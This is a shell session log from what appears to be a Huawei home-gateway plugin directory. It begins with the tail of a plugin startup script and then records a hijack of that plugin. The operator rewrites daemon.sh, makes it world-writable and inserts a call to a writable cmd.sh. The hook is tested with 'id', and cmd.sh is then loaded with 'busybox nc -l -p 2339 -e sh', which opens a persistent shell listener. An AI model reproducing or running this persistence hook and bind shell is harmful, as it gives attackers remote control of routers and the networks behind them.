mount none /var/Cplugin_upgrade -t tmpfs -o size=10m,mode=700
fi
umask 0027
if [ "$plugin_type" == "C" ]; then
updatefileright
fi
}
function recordoldlog()
{
echo "[$(date)]================kernelapp reboot==============" > /var/kernelapp_reboot.log
echo "kernelapp_log.0:" >> /var/kernelapp_reboot.log
tail -n 500 /var/kernelapp_log.0 >> /var/kernelapp_reboot.log
echo "kernelapp_lsw.0:" >> /var/kernelapp_reboot.log
cat /var/kernelapp_lsw.0 >> /var/kernelapp_reboot.log
echo "kernelapp_event.log:" >> /var/kernelapp_reboot.log
cat /var/kernelapp_event.log >> /var/kernelapp_reboot.log
echo "kernelapp_boot.0:" >> /var/kernelapp_reboot.log
cat /var/kernelapp_boot.0 >> /var/kernelapp_reboot.log
echo "kernelapp_capierrlog:" >> /var/kernelapp_reboot.log
cat /var/kernelapp_capierrlog >> /var/kernelapp_reboot.log
echo "dlog:" >> /var/kernelapp_reboot.log
dlog |tail -n 200 >> /var/kernelapp_reboot.log
chmod 640 /var/kernelapp_reboot.log
if [ ! -e /var/dslFlagForPlugin ]; then
chown osgi_proxy:osgi /var/kernelapp_reboot.log
fi
}
function iscbusenv()
{
local flashSize=$(dbus-send --system --type=method_call --print-reply --dest=com.ctc.igd1 /com/ctc/igd1/Info/Device com.ctc.igd1.Properties.Get string:com.ctc.igd1.DeviceInfo string:FlashSize|tail -n 1|awk '{print $NF}')
local productType=$(dbus-send --system --type=method_call --print-reply --dest=com.ctc.igd1 /com/ctc/igd1/Info/Device com.ctc.igd1.Properties.Get string:com.ctc.igd1.DeviceInfo string:ProductClass|tail -n 1|awk '{print $NF}')
if [ -z "${flashSize}" ];then
flashSize=268435456 # 默认为256M
fi
if [ ${flashSize} -le 134217728 ] && [ "${productType}" == "\"HS8145C5\"" -o "${productType}" == "\"HS8145V5\"" -o "${productType}" == "\"HN8145V\"" ];then
echo "This is cbus evn, flash:${flashSize}, product:${productType}, not support upgrade"
return 0
fi
return 1
}
function startkernelapp()
{
recordoldlog
if iscbusenv; then
return
fi
local curdir=$(pwd)
chmod -R 700 $(pwd)/bin
cd bin/
FREEMEM=$(cat /proc/meminfo | grep MemFree | cut -d: -f2 |cut -dk -f1)
if [ "${FREEMEM}" -gt "5120" ]; then
echo "begin to start kernelapp..."
if [ "$device_flag" == "0" ]; then
echo "ONT mod"
local who=$(whoami)
if [ "${who}" == "root" ]; then
su -s /bin/sh osgi_proxy -c "./kernelapp" &
else
./kernelapp &
fi
sleep 1
kill -9 $(ps | grep "sh -c ./kernelapp" | grep -v grep | awk '{print $1}')
elif [ "$device_flag" == "1" ]; then
echo "DSL mod"
./kernelapp &
fi
else
echo "no space left on ont!"
fi
cd $curdir
}
function rollbackfiles()
{
echo "rollback files!"
touch ../Data/upgrade_failed
if [ -e ../back_dir/kernelapp.tar ]; then
tar -zxf ../back_dir/kernelapp.tar -C /
rm -f ../back_dir/kernelapp.tar
fi
}
function updatefiles()
{
rm -rf ./Lib/*;mv -f ../MyPlugin1/*.sh ./;cp -rf ../MyPlugin1/* ../MyPlugin
touch ../MyPlugin1/upgrade_done
chown -Rh osgi_proxy:osgi ../MyPlugin
}
function startup()
{
rm -f ../Data/startup_failed
export MQTT_C_CLIENT_TRACE=/var/kernelapp_mqtt_connect.log
export MQTT_C_CLIENT_TRACE_LEVEL=PROTOCOL
export MQTT_C_CLIENT_TRACE_MAX_LINES=6000
local try=0
while [ "$try" -lt "3" ] ; do
echo "startapp $try."
startkernelapp
try=$(($try+1))
sleep 8
NUM=$(ps | grep kernelapp | grep -v grep |wc -l)
if [ "${NUM}" -gt "0" ]; then
echo "startup success"
return
fi
done
touch ../Data/startup_failed
}
function dostart()
{
prestart
startup
exit
}
function dorollback()
{
rollbackfiles
exit
}
function doupdate()
{
updatefiles
exit
}
if pidof kernelapp; then
exit
fi
# 升级已完成文件覆盖
if [ -f ../MyPlugin1/upgrade_done ]; then
rm -rf ../MyPlugin1
dostart
fi
# 升级未开始文件覆盖
if [ -e ../MyPlugin1 ]; then
doupdate
fi
# 升级失败需要回滚
if [ -f ../Data/startup_failed ]; then
rm ../Data/startup_failed
dorollback
fi
# 异常退出的场景
dostart
ls
Lib
Preload
bin
daemon.sh
etc
log
plugin_keeplive.sh
plugin_monitor.sh
plugin_startup.sh
plugin_stop.sh
pwd
/mnt/jffs2/app/cplugin/cplugin1/MyPlugin.2
cat daemon.sh
#!/bin/sh
# Copyright Huawei Technologies Co., Ltd. 2010-2020. All rights reserved.
export LD_LIBRARY_PATH=$(pwd)/Lib:/usr/lib/glib-2.0:$LD_LIBRARY_PATH
trap ' ./plugin_stop.sh; exit 1;' 15
while true ; do
./plugin_startup.sh
./plugin_monitor.sh
./plugin_keeplive.sh
done
cd ../MyPlugin
echo "#!/bin/sh" >daemon.sh
cat daemon.sh
#!/bin/sh
echo "cd ..;cd _MyPlugin;" >> daemon.sh
cat daemon.sh
#!/bin/sh
cd ..;cd _MyPlugin;
echo "export LD_LIBRARY_PATH=$(pwd)/Lib:/usr/lib/glib-2.0:$LD_LIBRARY_PATH" >> daemon.sh
echo "trap ' ./plugin_stop.sh; exit 1;' 15" >> daemon.sh
cat daemon.sh
#!/bin/sh
cd ..;cd _MyPlugin;
export LD_LIBRARY_PATH=/mnt/jffs2/app/cplugin/cplugin1/MyPlugin/Lib:/usr/lib/glib-2.0:/lib:/lib/exlib:/lib/omci_module:/lib/oam_module:/usr/osgi/lib:/usr/osgi/lib/aarch32:/usr/osgi/lib/aarch32/jli:/usr/osgi/lib/aarch32/server:/usr/lib/glib-2.0/
trap ' ./plugin_stop.sh; exit 1;' 15
echo "while true ; do" >> daemon.sh
echo " ./plugin_startup.sh" >> daemon.sh
echo " ./plugin_monitor.sh" >> daemon.sh
echo " ./plugin_keeplive.sh" >> daemon.sh
echo "done" >> daemon.sh
cat daemon.sh
#!/bin/sh
cd ..;cd _MyPlugin;
export LD_LIBRARY_PATH=/mnt/jffs2/app/cplugin/cplugin1/MyPlugin/Lib:/usr/lib/glib-2.0:/lib:/lib/exlib:/lib/omci_module:/lib/oam_module:/usr/osgi/lib:/usr/osgi/lib/aarch32:/usr/osgi/lib/aarch32/jli:/usr/osgi/lib/aarch32/server:/usr/lib/glib-2.0/
trap ' ./plugin_stop.sh; exit 1;' 15
while true ; do
./plugin_startup.sh
./plugin_monitor.sh
./plugin_keeplive.sh
done
ls
Lib
Preload
daemon.sh
etc
log
ls -lt
-rw-r----- 1 srv_clid service 400 Sep 21 01:40 daemon.sh
drwxr-x--- 2 srv_clid service 160 Sep 21 01:24 log
drwxr-x--- 4 srv_clid service 288 Sep 21 01:24 etc
drwxr-x--- 2 srv_clid service 160 Sep 21 01:23 Preload
drwxr-x--- 2 srv_clid service 1384 Sep 21 01:23 Lib
chmod 644 daemon.sh
ls -lt
-rw-r--r-- 1 srv_clid service 400 Sep 21 01:40 daemon.sh
drwxr-x--- 2 srv_clid service 160 Sep 21 01:24 log
drwxr-x--- 4 srv_clid service 288 Sep 21 01:24 etc
drwxr-x--- 2 srv_clid service 160 Sep 21 01:23 Preload
drwxr-x--- 2 srv_clid service 1384 Sep 21 01:23 Lib
chmod 777 deamon.sh
ls -lt
-rw-r--r-- 1 srv_clid service 400 Sep 21 01:40 daemon.sh
drwxr-x--- 2 srv_clid service 160 Sep 21 01:24 log
drwxr-x--- 4 srv_clid service 288 Sep 21 01:24 etc
drwxr-x--- 2 srv_clid service 160 Sep 21 01:23 Preload
drwxr-x--- 2 srv_clid service 1384 Sep 21 01:23 Lib
chmod 777 daemon.sh
ls -lt
-rwxrwxrwx 1 srv_clid service 400 Sep 21 01:40 daemon.sh
drwxr-x--- 2 srv_clid service 160 Sep 21 01:24 log
drwxr-x--- 4 srv_clid service 288 Sep 21 01:24 etc
drwxr-x--- 2 srv_clid service 160 Sep 21 01:23 Preload
drwxr-x--- 2 srv_clid service 1384 Sep 21 01:23 Lib
sed -i '/while true/a sh /mnt/jffs2/app/cplugin/cplugin1/cmd.sh' daemon.sh
cat daemon.sh
#!/bin/sh
cd ..;cd _MyPlugin;
export LD_LIBRARY_PATH=/mnt/jffs2/app/cplugin/cplugin1/MyPlugin/Lib:/usr/lib/glib-2.0:/lib:/lib/exlib:/lib/omci_module:/lib/oam_module:/usr/osgi/lib:/usr/osgi/lib/aarch32:/usr/osgi/lib/aarch32/jli:/usr/osgi/lib/aarch32/server:/usr/lib/glib-2.0/
trap ' ./plugin_stop.sh; exit 1;' 15
while true ; do
sh /mnt/jffs2/app/cplugin/cplugin1/cmd.sh
./plugin_startup.sh
./plugin_monitor.sh
./plugin_keeplive.sh
done
cd ..
ls
Data
Info.plugin
MyPlugin
MyPlugin.2
Temp
_MyPlugin
apLocalFlash
cmd.sh
install_dir
cat cmd.sh
id>x
cd _MyPlugin
ls -lt
-rw-r----- 1 osgi_pro osgi 24 Sep 21 01:44 x
-rw------- 1 osgi_pro osgi 122 Jan 1 1981 BuildInfo
drwxr-x--- 2 osgi_pro osgi 2376 Jan 1 1981 Lib
drwxr-x--- 2 osgi_pro osgi 160 Jan 1 1981 Preload
drwx------ 2 osgi_pro osgi 440 Jan 1 1981 bin
-r-xr-x--- 1 osgi_pro osgi 281 Jan 1 1981 daemon.sh
drwxr-x--- 4 osgi_pro osgi 288 Jan 1 1981 etc
drwxr-x--- 2 osgi_pro osgi 160 Jan 1 1981 log
-r-xr-x--- 1 osgi_pro osgi 93 Jan 1 1981 plugin_keeplive.sh
-r-xr-x--- 1 osgi_pro osgi 2103 Jan 1 1981 plugin_monitor.sh
-r-xr-x--- 1 osgi_pro osgi 6038 Jan 1 1981 plugin_startup.sh
-r-xr-x--- 1 osgi_pro osgi 129 Jan 1 1981 plugin_stop.sh
cd ..
pwd
/mnt/jffs2/app/cplugin/cplugin1
ls -lt
drwxr-x--- 3 osgi_pro osgi 224 Sep 21 01:44 _install_dir
drwxr-x--- 7 osgi_pro osgi 1000 Sep 21 01:44 _MyPlugin
drwxr-x--- 6 osgi_pro osgi 488 Sep 21 01:44 MyPlugin
-rw-rw---- 1 osgi_pro osgi 5 Sep 21 01:02 cmd.sh
-rw------- 1 osgi_pro osgi 1623 Sep 16 23:36 apLocalFlash
drwxr-x--- 7 osgi_pro osgi 864 Sep 11 2024 MyPlugin.2
drwx------ 4 osgi_pro osgi 440 Jan 1 1981 Data
drwxr-x--- 3 osgi_pro osgi 224 Jan 1 1981 install_dir
lrwxrwxrwx 1 osgi_pro osgi 26 Jan 1 1981 Temp -> /var/cplugin/cplugin1/Temp
-rw------- 1 osgi_pro osgi 425 Jan 1 1981 Info.plugin
echo 'busybox nc -l -p 2339 -e sh &' > /mnt/jffs2/app/cplugin/cplugin1/cmd.sh
cat cmd.sh
busybox nc -l -p 2339 -e sh &
ls
Data
Info.plugin
MyPlugin
MyPlugin.2
Temp
_MyPlugin
_install_dir
apLocalFlash
cmd.sh
install_dir